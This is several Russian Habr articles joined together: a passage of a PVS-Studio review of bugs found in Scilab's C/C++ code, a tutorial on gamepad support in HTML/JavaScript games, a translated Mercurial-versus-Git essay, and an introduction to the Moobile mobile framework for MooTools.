Но это не так. Указатель останется равен нулю. Давайте посмотрим, как объявлена функция alloc():
```
inline static int *alloc(
void * pvApiCtx, const int position, const int rows,
const int cols, int * ptr)
```
Видите, последний аргумент не является ссылкой. Кстати, вообще не понятно, зачем он нужен. Заглянем внутрь функции alloc():
```
inline static int *alloc(
void * pvApiCtx, const int position, const int rows,
const int cols, int * ptr)
{
int * _ptr = 0;
SciErr err = allocMatrixOfInteger32(
pvApiCtx, position, rows, cols, &_ptr);
checkError(err);
return _ptr;
}
```
Последний аргумент 'ptr' вообще не используется.
В любом случае, код выделения памяти неверен. Код должен быть таким:
```
inline static void create(void * pvApiCtx, const int position,
const int rows, const int cols, long long * ptr)
{
int *dataPtr = alloc(pvApiCtx, position, rows, cols, 0);
for (int i = 0; i < rows * cols; i++)
{
dataPtr[i] = static_cast(ptr[i]);
}
}
```
Аналогичные ситуации:* scilababstractmemoryallocator.hxx 237
* scilababstractmemoryallocator.hxx 401
Неправильные сообщения об ошибках
---------------------------------
Анализатор PVS-Studio часто находит опечатки в обработчиках ошибок. Этот код редко выполняется, и ошибки подолгу остаются незамеченными. Я думаю, из-за таких ошибок мы часто не можем понять, что же с программой не так. Выданное программой диагностическое сообщение не соответствует действительности.
Пример неправильного формирования сообщения об ошибке:
```
static SciErr fillCommonSparseMatrixInList(....)
{
....
addErrorMessage(&sciErr, API_ERROR_FILL_SPARSE_IN_LIST,
_("%s: Unable to create list item #%d in Scilab memory"),
_iComplex ? "createComplexSparseMatrixInList" :
"createComplexSparseMatrixInList",
_iItemPos + 1);
....
}
```
Сообщение PVS-Studio: V583 The '?:' operator, regardless of its conditional expression, always returns one and the same value: «createComplexSparseMatrixInList». api\_list.cpp 2398
В независимости от значения переменной '\_iComplex', всегда будет распечатано «createComplexSparseMatrixInList».
Аналогично:* api\_list.cpp 2411
* api\_list.cpp 2418
* api\_list.cpp 2464
* api\_list.cpp 2471
Теперь рассмотрим обработчик ошибки, который никогда не получит управление:
```
#define __GO_FIGURE__ 9
#define __GO_UIMENU__ 21
int sci_uimenu(char *fname, unsigned long fname_len)
{
....
if (iParentType == __GO_FIGURE__ &&
iParentType == __GO_UIMENU__)
{
Scierror(999, _("%s: Wrong type for input argument #%d: ")
_("A '%s' or '%s' handle expected.\n"),
fname, 1, "Figure", "Uimenu");
return FALSE;
}
....
}
```
Предупреждение PVS-Studio: V547 Expression 'iParentType == 9 && iParentType == 21' is always false. Probably the '||' operator should be used here. sci\_uimenu.c 99
Условие (iParentType == \_\_GO\_FIGURE\_\_ && iParentType == \_\_GO\_UIMENU\_\_) никогда не выполняется. Переменная не может быть одновременно равна числу 9 и числу 21. Я думаю, здесь хотели написать так:
```
if (iParentType != __GO_FIGURE__ &&
iParentType != __GO_UIMENU__)
```
Ещё один, особенно сладкий пример.
```
int set_view_property(....)
{
BOOL status = FALSE;
....
status = setGraphicObjectProperty(
pobjUID, __GO_VIEW__, &viewType, jni_int, 1);
if (status = TRUE)
{
return SET_PROPERTY_SUCCEED;
}
else
{
Scierror(999, _("'%s' property does not exist ")
_("for this handle.\n"), "view");
return SET_PROPERTY_ERROR ;
}
....
}
```
Предупреждение PVS-Studio: V559 Suspicious assignment inside the condition expression of 'if' operator: status = 1. set\_view\_property.c 61
Ошибка здесь: «if (status = TRUE)». Вместо сравнения, происходит присваивание.
Отсутствие выбора
-----------------
Функция, которую можно явно сократить. Видимо, она написана с помощью Copy-Paste, и в скопированном коде что-то забыли поправить.
```
static int uf_union (int* uf, int s, int t) {
if (uf_find(uf,s) < uf_find(uf,t))
{
uf[uf_find(uf,s)] = uf_find(uf,t);
return (uf_find(uf,t));
}
else
{
uf[uf_find(uf,s)] = uf_find(uf,t);
return (uf_find(uf,t));
}
}
```
Предупреждение PVS-Studio: V523 The 'then' statement is equivalent to the 'else' statement. taucs\_scilab.c 700
Независимо от условия выполняются идентичные действия.
Теперь другая ситуация. Здесь совпадают условия:
```
int sci_xset( char *fname, unsigned long fname_len )
{
....
else if ( strcmp(cstk(l1), "mark size") == 0)
....
else if ( strcmp(cstk(l1), "mark") == 0)
....
else if ( strcmp(cstk(l1), "mark") == 0)
....
else if ( strcmp(cstk(l1), "colormap") == 0)
....
}
```
Предупреждение PVS-Studio: V517 The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 175, 398. sci\_xset.c 175
Есть ещё несколько неправильных условий:* sci\_xset.c 159
* h5\_readdatafromfile\_v1.c 1148
* h5\_readdatafromfile.c 1010
Классика
--------
Пожалуй, я выделил самый частый ляп в программах на языке Си/Си++. В начале указатель разыменовывается, а уже затем проверяется на равенство нулю. Это не всегда приводит к ошибке. Но безобразие, оно и есть безобразие.
```
static void appendData(....)
{
....
sco_data *sco = (sco_data *) * (block->work);
int maxNumberOfPoints = sco->internal.maxNumberOfPoints;
int numberOfPoints = sco->internal.numberOfPoints;
if (sco != NULL && numberOfPoints >= maxNumberOfPoints)
....
}
```
Предупреждение PVS-Studio: V595 The 'sco' pointer was utilized before it was verified against nullptr. Check lines: 305, 311. canimxy3d.c 305
В начале, осуществляли доступ к членам, используя указатель 'sco':
```
int maxNumberOfPoints = sco->internal.maxNumberOfPoints;
int numberOfPoints = sco->internal.numberOfPoints;
```
А потом вдруг вспомнили, что этот указатель надо проверить:
```
if (sco != NULL .....
```
Анализатор выдал ещё 61 одно предупреждение V595. Перечислять их в статье не вижу смысла. Привожу их отдельным списком: [scilab-v595.txt](http://www.viva64.com/external-pictures/txt/scilab-v595.txt).
Ещё одна распространённая ситуация — использование неправильных спецификаторов формата (format specifiers) при работе с функцией sprintf() и аналогичных ей. Почти всё, что нашлось, не интересно. Печатаем беззнаковые значения, как знаковые. Поэтому привожу все эти предупреждения тоже списком: [scilab-v576.txt](http://www.viva64.com/external-pictures/txt/scilab-v576.txt).
Из интересного можно отметить только вот это:
```
#define FORMAT_SESSION "%s%s%s"
char *getCommentDateSession(BOOL longFormat)
{
....
sprintf(line, FORMAT_SESSION, SESSION_PRAGMA_BEGIN,
STRING_BEGIN_SESSION, time_str, SESSION_PRAGMA_END);
....
}
```
Предупреждение PVS-Studio: V576 Incorrect format. A different number of actual arguments is expected while calling 'sprintf' function. Expected: 5. Present: 6. getcommentdatesession.c 68
Не будет распечатана строка SESSION\_PRAGMA\_END.
Осторожно, неопределённое поведение
-----------------------------------
```
short ezxml_internal_dtd(ezxml_root_t root, char *s, size_t len)
{
....
while (*(n = ++s + strspn(s, EZXML_WS)) && *n != '>') {
....
}
```
Предупреждение PVS-Studio: V567 Undefined behavior. The 's' variable is modified while being used twice between sequence points. ezxml.c 385
Неизвестно, будет вычислено в начале выражение "++s' или выражение «strspn(s, EZXML\_WS)». Соответственно, результат может отличаться на разных компиляторах, платформах и так далее.
Другой, более интересный случай. Здесь неопределённое поведение возникает из-за опечатки.
```
static char **replaceStrings(....)
{
....
int i = 0;
....
for (i = 0; i < nr; i = i++)
....
}
```
V567 Undefined behavior. The 'i' variable is modified while being used twice between sequence points. csvread.c 620
Беда здесь: i = i++.
По всей видимости, хотел написать так:
```
for (i = 0; i < nr; i++)
```
Ещё о строках
-------------
```
char *PLD_strtok(....)
{
....
if ((st->start)&&(st->start != '\0'))
....
}
```
Предупреждение PVS-Studio: V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: \*st->start != '\0'. pldstr.c 303
Хотели проверить, что строка не пустая. Но на самом деле указатель два раза сравнивается с NULL. Правильный код:
```
if ((st->start)&&(st->start[0] != '\0'))
```
Аналогичный ляп:
V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: \*\* category == '\0'. sci\_xcospalload.cpp 57
Следующий код по всей видимости недописан:
```
int sci_displaytree(char *fname, unsigned long fname_len)
{
....
string szCurLevel = "";
....
//Add node level
if (szCurLevel != "")
{
szCurLevel + ".";
}
....
}
```
Предупреждение PVS-Studio: V655 The strings was concatenated but are not utilized. Consider inspecting the 'szCurLevel + "."' expression. sci\_displaytree.cpp 80
Код, который работает благодаря везению
---------------------------------------
```
static int sci_toprint_two_rhs(void* _pvCtx,
const char *fname)
{
....
sprintf(lines, "%s%s\n", lines, pStVarOne[i]);
....
}
```
Предупреждение PVS-Studio: V541 It is dangerous to print the string 'lines' into itself. sci\_toprint.cpp 314
Функция sprintf() сохраняет результат своей работы в буфер 'lines'. При этом, этот же буфер является одной из входных строк. Так делать не хорошо. Код вполне может работать. Но это опасно. При смене компилятора можно получить неожиданный и неприятный результат.
Аналогичная ситуация: sci\_coserror.c 94
Пример кода, который работает, хотя и не верен:
```
typedef struct JavaVMOption {
char *optionString;
void *extraInfo;
} JavaVMOption;
JavaVMOption *options;
BOOL startJVM(char *SCI_PATH)
{
....
fprintf(stderr, "%d: %s\n", j, vm_args.options[j]);
....
}
```
Предупреждение PVS-Studio: V510 The 'fprintf' function is not expected to receive class-type variable as fourth actual argument. jvm.c 247
Здесь хотели распечатать строку, на которую ссылается указатель 'optionString'. Правильный код должен был быть таким:
```
fprintf(stderr, "%d: %s\n", j, vm_args.options[j].optionString);
```
Но на самом деле, в качестве аргумента функция fprintf() примет объект типа JavaVMOption. Код работает благодаря чудесному стечению обстоятельств.
Во-первых, член 'optionString' расположен в начале структуры. Поэтому именно его возьмет функция fprintf() и обработает его как указатель на строку.
Во-вторых, после этого функция ничего не распечатывает. Следовательно, не будет распечатан мусор (содержимое переменной 'extraInfo', которая тоже попадёт в стек).
Аллилуйя!
Неработающий цикл
-----------------
```
static void reinitdoit(double *told)
{
int keve = 0, kiwa = 0;
....
kiwa = 0;
....
for (i = 0; i < kiwa; i++)
....
}
```
V621 Consider inspecting the 'for' operator. It's possible that the loop will be executed incorrectly or won't be executed at all. scicos.c 4432
Здесь что-то не так. Переменная 'kiwa' всегда равна нулю. Цикл не выполняется. Возможно, код недописан.
Что не вошло в статью
---------------------
Если честно, я уже устал просматривать отчёт и писать эту статью. Поэтому я решил остановиться. Пожалуй, можно было упомянуть про ещё пару подозрительных мест. Но я посчитал их несущественными, и лень победила. Плюс наверняка я что-то пропустил, так как не знаком с проектом. Поэтому рекомендую авторам самостоятельно проверить проект, используя анализатор [PVS-Studio](http://www.viva64.com/ru/pvs-studio/).
**Примечание.** Тем, кто решил один раз проверить проект и не покупать анализатор, хочу напомнить, что это совершенно бессмысленное действие. Вся суть статического анализа в регулярных проверках, а не в разовых запусках. Вы допускаете опечатку и анализатор сразу её обнаруживает. Сокращается время на тестирование, отладку и работу с ошибками, появляющимися в bug-трекере. См. также статью: "[Лев Толстой и статический анализ кода](http://www.viva64.com/ru/b/0105/)".
Примечание
----------
Обязательно кто-то спросит, какая версия Scilab проверялась. К сожалению, не самая свежая. Где-то полтора месяца я проверил этот проект, выписал подозрительные фрагменты кода. И… И забыл про этот файл. Было много работы, связанной со [сравнением анализаторов](http://www.viva64.com/ru/b/0241/). Сейчас я набрёл на этот файл, и долго вспоминал, что это такое было. Я проверяю так много проектов, что у меня в голове уже всё перепуталось, и я даже не помню, смотрел я какой-то проект или нет.
Впрочем, ничего страшного. Сейчас я напишу эту статью. Её увидят авторы Scilab и сами проверят проект. Цель моих статей показать возможности методологии статического анализа, а не найти ошибки в самой последней версии проекта.
Заключение
----------
Используйте статический анализ на регулярной основе. Вы сократите время на устранение глупых ошибок и сможете потратить больше времени на что-то полезное.
Для средних и больших проектов, где требуются ночные проверки, доработка анализатора, интеграция с MSBuild, поддержка Visual Studio 2005/2008 и так далее, мы предлагаем инструмент PVS-Studio.
Дополнительные ссылки
---------------------
1. Терминология. [Статический анализ кода](http://www.viva64.com/ru/t/0046/).
2. Андрей Карпов. [Альтернатива PVS-Studio за $250](http://www.viva64.com/ru/b/0228/).
3. Андрей Карпов, Евгений Рыжков, Павел Еремеев, Святослав Размыслов. [Сравнение анализаторов кода: CppCat, Cppcheck, PVS-Studio, Visual Studio](http://www.viva64.com/ru/b/0241/). ([методология сравнения](http://www.viva64.com/ru/a/0086/)).
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Mathematicians: Trust, but Verify](http://www.viva64.com/en/b/0244/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/217557/ | null | ru | null |
# Как использовать GamePad в браузере и в приложениях для Windows на HTML и JavaScript?
Если вы разрабатываете игры на HTML и JavaScript, то эта статья для вас. Мы уже много писали о том, что под Windows 8.x можно разрабатывать приложения на HTML/JS, причем, как правило, вы можете с легкостью просто взять и использовать ваш текущий движок, работающий в современных браузерах.
> Просто в качестве примера: если вы делаете платформер, то вы можете воспользоваться таким движком, как [Phaser](http://phaser.io/) (кстати, он поддерживает разработку на TypeScript!), или, нашим [Platformer Game StarterKit для Windows 8](http://platformstarterkit.azurewebsites.net/). К слову, если вы хотите сделать игрушку в жанре Tower Defense, то у нас есть [еще один Starter Kit](http://towergamekit.azurewebsites.net/). А если вы хотите создать что-то трехмерное с [использованием WebGL](http://habrahabr.ru/company/microsoft/blog/203550/), то наше все для вас – это [Babylon.js](http://www.babylonjs.com/).
#### GamePad
Но в этой статье я не буду рассказывать, как создать саму игру. Мы зададимся другим вопросом: как подключить к игре для Windows 8.x или в браузере геймпад? Например, игровой контроллер от Xbox 360 или Xbox One:
Будем считать, что вы уже подключили сам геймпад к своему ПК ([инструкция для Xbox 360](http://support.xbox.com/ru-RU/xbox-on-other-devices/windows/xbox-controller-for-windows-setup), [инструкция для Xbox One](http://support.xbox.com/ru-RU/xbox-one/accessories/controller-pc-compatibility)). Теперь давайте разберемся, что вам нужно сделать, чтобы добавить его поддержку в своей игре.
В качестве примера я буду использовать [платформер RubbaRabbit](http://platformstarterkit.azurewebsites.net/) из приведенного выше стартет-кита. Мы рассмотрим два варианта: игра для Windows 8.x и игра в браузере.
Игра для Windows 8.x на HTML и JavaScript
-----------------------------------------
Чтобы добавить поддержку геймпада в игру на JavaScript под Windows 8.x вам понадобится научиться работать с интерфейсами [XInput](http://msdn.microsoft.com/library/windows/apps/ee417001). Это может звучать страшновато, потому что для этого нужно погрузиться в код на C++, но мы уже сделали практически все, что вам нужно, чтобы не пересекаться с ними напрямую.
Для работы вам нужно скачать пример [XInput and JavaScript controller sketch](https://code.msdn.microsoft.com/windowsapps/XInput-and-JavaScript-c72fe535). Внутри него вы легко найдете папочку с кодом на C++, в которой находится проект библиотеки-обвязки над XInput, с которой вы в свою очередь сможете работать в своей игре на JavaScript.
Этот проект вам нужно добавить в свой солюшн с игрой и добавить ссылку на него внутри проекта для Windows 8.x:
При желании вы можете залезть внутрь файлов на C++ и выяснить, что они фактически выставляют наружу очень простой интерфейс доступа к контроллеру: конструктор для получения ссылки на геймпад и функцию **getState** для получения его текущего состояния с проекцией на кнопки геймпада Xbox.
Теперь нужно добавить поддержку геймпада в самой игре. Для этого, обычно, нужно сделать довольно небольшие изменения в обработке ввода со стороны игрока.
#### Игровой цикл
Как правило, внутри кода игры у вас есть регулярный цикл, в рамках которого формируется каждый следующий кадр игры. Для того, чтобы понять, как изменилась игровая обстановка, вы в частности проверяете, нажал ли пользователь определенные кнопки.
В моем случае игровой цикл задается внутри функции **update**:
```
/**
* game simulation loop step - called every frame during play
*/
this.update = function () {
...
}
```
Где-то внутри этой функции есть обработка нажатий на кнопки, которая выглядит примерно так:
```
if (touchleft || jaws.pressed("left") || jaws.pressed("a")) {
player.vx = -move_speed; player.flipped = 1;
}
else if (touchright || jaws.pressed("right") || jaws.pressed("d")) {
player.vx = +move_speed; player.flipped = 0;
}
if (!player.attacking && (touchjump || jaws.pressed("up") || jaws.pressed("w") || jaws.pressed("space"))) {
if (!player.jumping && player.can_jump) {
sfxjump();
player.vy = jump_strength;
player.jumping = true;
player.can_jump = false;
}
}
else {
player.can_jump = true;
}
```
Как вы можете заметить, разработчики движка уже позаботились о том, что пользователь может передавать команды не только с разных кнопок с клавиатуры, но и, например, с виртуальных кнопок на сенсорном устройстве (переменные **touchleft**, **touchright** и т.п.).
В целом, скорее всего, в вашем коде должны быть какие-то переменные, отвечающие различным «игровым действиям» и аккумулирующие в себе различные способы ввода для их активации. Именно на работу с такими переменными и будет завязано добавление поддержки геймпада.
#### Поддержка геймпада
Чтобы добавить поддержку геймпада осталось совсем немного: нужно инициализировать работу с контроллером при старте игрушки и далее регулярно получать его состояние.
Для инициализации контроллера мы создаем объект **Controller** через конструктор, доступный нам из подключенной ранее библиотеки на C++:
```
//Add Xbox Contoller support
function initXboxpad() {
var controller = new GameController.Controller(0);
if (controller != null) {
updateState();
}
...
}
```
Далее нам нужно с определенной периодичностью обновлять состояние контроллера, для этого опишем функцию **updateState**, которая будет запрашивать вызов себя на каждый кадр анимации:
```
//Add Xbox Contoller support
function initXboxpad() {
var controller = new GameController.Controller(0);
// render loop
if (controller != null) {
updateState();
}
function updateState() {
var state = controller.getState();
if (state.connected) {
var x = state.leftThumbX / 32767;
touchleft = (x < -0.9);
touchright = (x > 0.9);
touchjump = state.a;
touchattack = state.x;
touchpause = state.start;
}
window.requestAnimationFrame(updateState);
}
}
```
Это весь(!) код, который необходимо добавить в игрушку, чтобы она научилась взаимодействовать с геймпадом от Xbox 360. Не забудьте только при старте вызвать саму функцию **initXboxpad**.
Обратите внимание, что в данном случае мы «эксплуатируем» уже существующие переменные, аккумулирующие в себе команды от возможного сенсорного интерфейса, и обновляем их в зависимости от того, каково текущее состояние элементов управления на геймпаде. Например, если игрок нажал кнопку «A», то соответствующее состояние **state.**a будет равно **true** и мы его проецируем на «прыжок» в игре.
Кстати, через функцию **setState** геймпада вы можете заставить его вибрировать.
Игра в браузере
---------------
Теперь давайте посмотрим, что мы можем сделать в браузере. Для браузеров в W3C разрабатывается специальный стандарт [Gamepad API](http://www.w3.org/TR/gamepad/), который позволит единообразно работать с разными типами игровых геймпадов.
Стандарт предполагает, что есть некоторая «общая модель», к которой можно свести разные игровые контроллеры:
Если вы хотите привязать обозначения к конкретному типу устройства (например, геймпаду Xbox), вам это нужно будет сделать самостоятельно, прописав в своем коде соответствующее отображение.
В сам стандарт в этой статье погружаться не буду, благо в интернете уже есть достаточное количество обзорных статьей. Например, вот [документация от Mozilla](https://developer.mozilla.org/en-US/docs/Web/Guide/API/Gamepad). Единственное, что хочу тут отметить – это то, что она устарела относительно предположения, что Gamepad API не поддерживает в Internet Explorer. [На самом деле](https://status.modern.ie/gamepadapi), в [свежих сборках](http://habrahabr.ru/company/microsoft/blog/243215/) Internet Explorer 11 [Gamepad API](http://msdn.microsoft.com/en-us/library/ie/dn743630(v=vs.85).aspx) уже [поддерживается](http://internetexplorer.github.io/Gamepad-Sample/).
В контексте данной статьи про стандарт нужно знать только одно: он предоставляет доступ к сырым данным, разбитым по осям и нумерованным кнопкам. Чтобы понять реальное соответствие, вам нужно будет проделать определенные умственные операции в своем коде.
#### Игровой цикл и код игры
Для демонстрации я продолжаю использовать тот же пример из стартер кита, только на этот раз создаю пустой веб-проект и копирую в него оригинальные исходные файлы. Так как они не имеют на самом деле никакой завязки на платформу Windows, то игра просто работает в браузере:
Все остальное пока остается неизменными, и верны те же самые предположения про игровой цикл, которые мы делали для проекта под Windows 8.
#### Поддержка геймпада
Чтобы упростить себе работу с геймпадом, я воспользуюсь готовым кодом из библиотеки Babylon.js – [babylon.gamepads.ts](https://github.com/BabylonJS/Babylon.js/blob/bea9b72a0f8a317e318ab0d77527bf82fbe655b1/Babylon/Tools/babylon.gamepads.ts) (GitHub). Вы можете просто скопировать библиотеку себе или сделать ее форк.
Библиотека делает несколько важных вещей:
* умеет поверх Gamepad API симулировать событийную модель (если вам вдруг нужно);
* упрощает доступ к отдельными элементами контроллера (например, объединяет оси джойстика в один объект);
* различает контроллер Xbox, делая необходимое мне отображение обобщенных кнопок на конкретные.
Обратите внимание, что библиотека написана на TypeScript. Рядом вы также можете найти скомпилированную версию для JavaScript. В моем случае я просто добавляю библиотеку внутрь проекта, Visual Studio включает поддержку TypeScript и автоматически генерирует js-файлы при сохранении.
Не забудьте подключить библиотеку на страницу с игрой:
Далее схема подключения геймпада очень похожа на то, что мы делали в случае с Windows 8.x:
```
//Add Xbox Contoller support
function initGamePad() {
var xboxpad;
function updateState() {
if (xboxpad != null && xboxpad.browserGamepad.connected) {
xboxpad.update();
touchleft = (xboxpad.leftStick.x < -0.9);
touchright = (xboxpad.leftStick.x > 0.9);
touchjump = (xboxpad.buttonA == 1);
touchattack = (xboxpad.buttonX == 1);
touchpause = (xboxpad.buttonStart == 1);
}
window.requestAnimationFrame(updateState);
}
var gamepadConnected = function (gamepad) {
if (gamepad instanceof BABYLON.Xbox360Pad) {
xboxpad = gamepad;
updateState();
}
};
var gamepads = new BABYLON.Gamepads(gamepadConnected);
}
```
Внутрь функции BABYLON.Gamepads передается обработчик события подключения геймпада у компьютеру. Как видите, добавление в проект поддежки геймпада – это примерно 20 строчек кода!
Вариант кода с событийной моделью:
```
//Add Xbox Contoller support
function initGamePad() {
var xboxpad;
var gamepadConnected = function (gamepad) {
if (gamepad instanceof BABYLON.Xbox360Pad) {
xboxpad = gamepad;
xboxpad.onleftstickchanged(function (values) {
var x = values.x;
touchleft = (x < -0.9);
touchright = (x > 0.9);
});
xboxpad.onbuttondown(function (button) {
switch (button) {
case BABYLON.Xbox360Button.A:
touchjump = true;
break;
case BABYLON.Xbox360Button.X:
touchattack = true;
break;
case BABYLON.Xbox360Button.Start:
touchpause = true;
break;
}
});
xboxpad.onbuttonup(function (button) {
switch (button) {
case BABYLON.Xbox360Button.A:
touchjump = false;
break;
case BABYLON.Xbox360Button.X:
touchattack = false;
break;
case BABYLON.Xbox360Button.Start:
touchpause = false;
break;
}
});
}
};
var gamepads = new BABYLON.Gamepads(gamepadConnected);
}
```
В результате мы легко можем управлять действиями героя в игре прямо с подключенного геймпада:
#### Полезные ссылки
* Стартер-киты для игр на JS под Windows 8: [Platfromer](http://platformstarterkit.azurewebsites.net/), [Tower Defense](http://towergamekit.azurewebsites.net/)
* [XInput + JavaScript](https://code.msdn.microsoft.com/windowsapps/XInput-and-JavaScript-c72fe535) – пример для Windows 8
* [W3C GamePad API](http://www.w3.org/TR/gamepad/) – черновик стандарта для браузеров
* [babylon.gamepads.ts](https://github.com/BabylonJS/Babylon.js/blob/bea9b72a0f8a317e318ab0d77527bf82fbe655b1/Babylon/Tools/babylon.gamepads.ts) – обертка над GamePad API
* [Курс по разработке универсальных приложений на HTML/JS (En)](http://www.microsoftvirtualacademy.com/training-courses/developing-universal-windows-apps-with-html-and-javascript-jump-start)
* [Загрузить](http://l.techdays.ru/go/getvs) бесплатную или пробную Visual Studio
* [Стать разработчиком](http://l.techdays.ru/go/winstart) универсальных приложений Windows
* [Программа Windows Insider](https://insider.windows.com/) — доступ к превью Windows 10 | https://habr.com/ru/post/245405/ | null | ru | null |
# Ещё раз о «Mercurial против Git» (с картинками)
Некоторое время назад я опубликовал очень многословное сочинение, где пытался объяснить, почему Git серьёзно поломан, и почему всем следует вместо этого пользоваться Mercurial, до тех пор, пока разработчки Git его не починят. Ну ладно, я был не настолько груб, но близок к этому.
Народ на Reddit жаловался, что мой технический язык слишком путанный, особенно потому что я придумывал новую терминологию в попытках доказательства своих положений. Они потребовали графы, с узлами, рёбрами, кружочками, стрелочками и всем прочим. Тогда я промучал графический редактор несколько часов и получил два графа, приведённые ниже, которыми я надеюсь обрисовать проблему.
Ниже я нарисовал упрощёный граф истории репозитория Git с тремя созданными ветками: «master», «release» и «topic». До того, как энтузиасты Git начнут ругаться, что я исхитрился показать нереально плохой случай запутанности истории, позвольте мне заверить вас, что это на самом деле ещё упрощённый пример. У меня есть доступ к реальному репозиторию Git, где создано шесть рабочих веток релизов, около сорока рабочих тематических веток и несколько сотен ранее существовавших веток, которые уже удалены с центрального сервера.
Вот этот граф. Можете ли вы мне сказать, на какую ветку было зафиксировано изменение `ab3e2afd`? Какое было самое ранее изменение на ветке «release»? Где именно началась ветка «topic»?
Я знаю, это нечестно. Я не показываю вам журнал изменений. Но поверьте мне, вы не захотите его видеть. Он не поможет. Вы думаете, одомашненные приматы[[1]](#note1) записали там полезные подсказки, которые ответили бы вам на эти вопросы, но они не сделали этого. Хуже того, иногда они врут.
Более умным опровержением моих вопросов было бы спросить «А зачем тебе это нужно знать?» Давайте я отвечу на это последовательно.
1. Мне нужно знать на какой ветке было зафиксировано `ab3e2afd` для того, чтобы знать, включать ли его в описание изменений будущего релиза.
2. Мне нужно знать какое изменение было первым в ветке «release», потому что я хочу начать новую тематическую ветку с этого изменения в качестве начальной точки так, чтобы я всегда был в курсе происходящего в главной ветке насколько это возможно, и быть уверенным, что смогу выполнить чистое слияние в главную ветку и выпустить релиз.
3. Мне нужно знать где началась ветка «topic» для того, чтобы я мог сложить все патчи вместе и отослать их своим коллегам для рецензии.
Большая часть помешательства, которая толкает пользователей Git на горячие споры на тему «rebase» против «merge», вызвана тем, что они очень сильно хотят заставить разработчиков значительно переделывать историю в своих локальных репозиториях, для того, чтобы граф изменений на общедоступных серверах не выглядел бы как граф, показанный выше.
Пользователи Mercurial, в большинстве случаев, не нуждаются в таких неестественных принуждениях. И вот почему:
Видите разницу?
Каждый узел в графе раскрашен, чтобы показать имя своей ветки в Mercurial. Всякая угадайка становится не нужна. Вы твёрдо знаете, что когда-то была ветка с именем «temp», которая затем влилась в ветку «release», а не «master». Вероятно, сейчас она отмечена закрытой, как больше не нужная.
Некоторая первоначальная работа над веткой «topic» ушла в ветку «temp» перед тем тем, как слилась с веткой «release». Позднее, ветка «release» была обратно влита во вновь ведущуюся ветку «topic».
Всё это становится возможным потому, что Mercurial хранит имя ветки в заголовке каждого изменения. Git тоже должен бы делать так, но не делает. Вместо этого, Git поощряет пользователей подделывать историю как если бы она была «чистой», но на самом деле неприглядна.
Самое печальное, что большинство пользователей Git, похоже, имеют концептуальный блок против даже признания того, что здесь есть проблема. Они принимают необходимость такого исторического ревизионизма, которую их иструмент накладывает на них, и называют это достоинством.
Меня пугает перспектива возможности переноса базы исходных текстов некоей большой и почтенной проприетарной операционной системы из старой унаследованной системы контроля версий в новую крутую распределённую систему, о которой говорят все парни. Предсказываю себе, что мне придётся показать этот пост в блоге очень многим людям.
---
[1] *Одомашненные приматы — вероятно, отсылка к Тимоти Лири или Роберту Антону Уилсону — прим. перев.* | https://habr.com/ru/post/123700/ | null | ru | null |
# Moobile — основанный на MooTools фреймворк для мобильных устройств
Давненько ничего на хабре не слышно новостей о JS фреймворке [MooTools](http://mootools.net). Между тем, он продолжает своё развитие. На данный момент последняя версия ядра — 1.4.5.
Однако сейчас разговор о другом. Ещё 20 апреля в своём [твиттере](http://twitter.com/mootools) разработчики сообщили, что с использованием ядра библиотеки начата разработка фреймворка для мобильных устройств.
**Upd.1** — разрабатывают его не создатели MooTools, спасибо [magmoro](http://habrahabr.ru/users/magmoro/) заметил неточность.
Итак [moobilejs.com](http://moobilejs.com).
Как утверждают авторы, разработка ещё достаточно сырая, версия 0.1.1\*. Тем не менее, демку можно посмотреть [тут](http://moobilejs.com/demos/latest/moobile-simulator/index.html) или вот так: goo.gl/dWreE
На тестовом iPhone 3g всё более-менее работает. Красивые переходы, алерты и привязка к событиям Tap (tapstart,tapmove,tapend), Touchmove, Pinch, Swipe и [другие](http://moobilejs.com/doc/latest/classes/Component/Component.html).
Единственное **НО**, демо-страница не захотела обнаруживать, что она запущена на реальном устройстве, и работала в том же режиме, что и на десктопе, т.е. на странице отображался эмулятор (хотя это похоже фича).
На данный момент поддерживаются только основанные на WebKit браузеры:
* Safari 5.1.5 и выше.
* Google Chrome 18 и выше
В дистрибутив разработчика включены следующие пакеты:
* MooTools, минифицированная и нет.
* Moobile, минифицированная и нет.
* Moobile эмулятор.
* Stylesheets
* Документы
* Скрипты для автоматической сборки
* YUI Compressor
Используется MVC подход с контроллерами и вьюхами.
К примеру, грузим вьюху из контроллера:
```
this.view = Moobile.View.at('templates/views/hello-world-view.html');
```
При описании классов используется преимущества MooTools, вот к примеру часть описания контроллера:
```
var HelloWorldViewController = new Class({
Extends: Moobile.ViewController,
...
});
```
Везде в HTML данные хранятся в популярных HTML5 атрибутах data-\*
```
Hello World
```
Сильной стороной MooTools всегда была анимация посредством изменения свойств стилей объекта. Соответственно и в moobile доступны хорошие возможности такого типа.
На данный момент основным используемым подходом являются Transitions, которые используются во многих примерах демки для перехода между страницами.
Из доступных контроллов на данный момент присутствуют следующие:
* [ActivityIndicator](http://moobilejs.com/doc/latest/classes/Control/ActivityIndicator.html)
* [Bar](http://moobilejs.com/doc/latest/classes/Control/Bar.html)
* [BarItem](http://moobilejs.com/doc/latest/classes/Control/BarItem.html)
* [Button](http://moobilejs.com/doc/latest/classes/Control/Button.html)
* [ButtonGroup](http://moobilejs.com/doc/latest/classes/Control/ButtonGroup.html)
* [Control](http://moobilejs.com/doc/latest/classes/Control/Control.html)
* [Image](http://moobilejs.com/doc/latest/classes/Control/Image.html)
* [List](http://moobilejs.com/doc/latest/classes/Control/List.html)
* [ListItem](http://moobilejs.com/doc/latest/classes/Control/ListItem.html)
* [NavigationBar](http://moobilejs.com/doc/latest/classes/Control/NavigationBar.html)
* [NavigationBarItem](http://moobilejs.com/doc/latest/classes/Control/NavigationBarItem.html)
* [Slider](http://moobilejs.com/doc/latest/classes/Control/Slider.html)
* [Text](http://moobilejs.com/doc/latest/classes/Control/Text.html)
Из диалогов пока только
[Dialog](http://moobilejs.com/doc/latest/classes/Dialog/Alert.html)
Надеюсь у ребят всё получится, и сеть обогатится быстрым, лёгким и мощным движком.
